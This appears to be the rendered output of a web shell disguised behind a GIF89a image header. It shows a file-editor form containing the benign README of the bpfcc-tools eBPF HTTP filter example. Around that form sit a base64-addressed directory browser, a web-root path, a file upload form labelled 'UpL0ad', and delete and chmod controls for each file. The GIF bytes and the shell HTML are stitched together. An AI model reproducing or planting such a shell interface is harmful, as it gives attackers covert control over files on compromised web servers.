GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>README.md<form method=post action="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg%3D%3D&f=UkVBRE1FLm1k"><input name="f" value="README.md"><textarea name="t"># HTTP Filter

eBPF application that parses HTTP packets and extracts (and prints on screen) the URL contained in the GET/POST request.

[eBPF HTTP Filter - Short Presentation](https://github.com/iovisor/bpf-docs/blob/master/ebpf_http_filter.pdf)

## Usage Example


    $ sudo python http-parse-complete.py 
    GET /pipermail/iovisor-dev/ HTTP/1.1
    HTTP/1.1 200 OK
    GET /favicon.ico HTTP/1.1
    HTTP/1.1 404 Not Found
    GET /pipermail/iovisor-dev/2016-January/thread.html HTTP/1.1
    HTTP/1.1 200 OK
    GET /pipermail/iovisor-dev/2016-January/000046.html HTTP/1.1
    HTTP/1.1 200 OK


## Implementation overview

The implementation is split in two portions: the former that exploits eBPF code, the latter that performs some additional processing in user space (the python wrapper).

### First part: eBPF filter
This component filters IP and TCP packets containing the &quot;HTTP&quot;, &quot;GET&quot;, &quot;POST&quot; strings in their payload and all subsequent packets belonging to the same session, having the same (ip.src,ip.dst,port.src,port.dst) tuple.

The program is loaded as PROG_TYPE_SOCKET_FILTER and attached to a socket, bind to eth0.

Matching packets are forwarded to user space, the others are dropped by the filter.

### Second part: python code in user space
The Python script reads filtered raw packets from the socket, if necessary reassembles packets belonging to the same session, and prints on stdout the first line of the HTTP GET/POST request.

## Simple vs. complete

Two versions of this code are available in this repository:

* simple version: it does not handle URLs that span across multiple packets. For instance, if the URL is too long it shows only the portion contained in the first packet.
* complete version: it is able to cope with URLs spanning across multiple packets; if such a situation is detected, the code reassembles packets belonging to the same session and prints the complete URL.

## How to execute this sample

This sample can be executed by typing either one the two commands below:
 
    $ sudo python http-parse-simple.py
    $ sudo python http-parse-complete.py
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/doc/bpfcc-tools/examples/networking/http_filter<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZw=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&x=UkVBRE1FLm1k">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=UkVBRE1FLm1k"/>README.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=UkVBRE1FLm1k&c=`+btoa(c):0" value="0644"></td><td>2103</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&x=aHR0cC1wYXJzZS1jb21wbGV0ZS5j">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=aHR0cC1wYXJzZS1jb21wbGV0ZS5j"/>http-parse-complete.c</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=aHR0cC1wYXJzZS1jb21wbGV0ZS5j&c=`+btoa(c):0" value="0644"></td><td>4392</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&x=aHR0cC1wYXJzZS1jb21wbGV0ZS5weQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=aHR0cC1wYXJzZS1jb21wbGV0ZS5weQ=="/>http-parse-complete.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=aHR0cC1wYXJzZS1jb21wbGV0ZS5weQ==&c=`+btoa(c):0" value="0755"></td><td>11329</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&x=aHR0cC1wYXJzZS1zaW1wbGUuYw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=aHR0cC1wYXJzZS1zaW1wbGUuYw=="/>http-parse-simple.c</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=aHR0cC1wYXJzZS1zaW1wbGUuYw==&c=`+btoa(c):0" value="0644"></td><td>3026</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&x=aHR0cC1wYXJzZS1zaW1wbGUucHk=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=aHR0cC1wYXJzZS1zaW1wbGUucHk="/>http-parse-simple.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9odHRwX2ZpbHRlcg==&f=aHR0cC1wYXJzZS1zaW1wbGUucHk=&c=`+btoa(c):0" value="0755"></td><td>5260</td></tr></table>